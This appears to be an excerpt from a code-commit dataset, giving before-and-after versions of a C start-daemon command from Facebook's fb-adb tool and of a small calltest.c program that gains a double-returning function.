#include <string.h>
#include "util.h"
#include "autocmd.h"
#include "fs.h"
#include "child.h"
#include "net.h"
#include "strutil.h"
#include "constants.h"
FORWARD(start_daemon);
#if !FBADB_MAIN
#include "stubdaemon.h"
int
start_daemon_main(const struct cmd_start_daemon_info* info)
{
struct cmd_stub_info sinfo = {
.stub.listen = true,
.stub.daemonize = true,
.stub.replace = info->start_daemon.replace,
};
return stub_main(&sinfo);
}
#endif
| /*
* Copyright (c) 2014, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in
* the LICENSE file in the root directory of this source tree. An
* additional grant of patent rights can be found in the PATENTS file
* in the same directory.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <limits.h>
#include <arpa/inet.h>
#include <string.h>
#include "util.h"
#include "autocmd.h"
#include "fs.h"
#include "child.h"
#include "net.h"
#include "strutil.h"
#include "constants.h"
FORWARD(start_daemon);
#if !FBADB_MAIN
#include "stubdaemon.h"
int
start_daemon_main(const struct cmd_start_daemon_info* info)
{
SCOPED_RESLIST(rl);
struct cmd_stub_info sinfo = {
.stub.listen = true,
.stub.daemonize = true,
.stub.replace = info->start_daemon.replace,
};
set_prgname(xaprintf("%s stub", xbasename(orig_argv0)));
return stub_main(&sinfo);
}
#endif
|
Add test for double call | #include <stdio.h>
int int_func(void)
{
return 42;
}
float float_func(void)
{
return 13.5f;
}
int main(int argc, char *argv[])
{
printf("calltest.c\n");
printf(" Calling int function: %d\n", int_func());
printf(" Calling float function: %f\n", float_func());
return 0;
}
| #include <stdio.h>
int int_func(void)
{
return 42;
}
float float_func(void)
{
return 13.5f;
}
double double_func(void)
{
return 13.5;
}
int main(int argc, char *argv[])
{
printf("calltest.c\n");
printf(" Calling int function: %d\n", int_func());
printf(" Calling float function: %f\n", float_func());
printf(" Calling double function: %f\n", double_func());
return 0;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.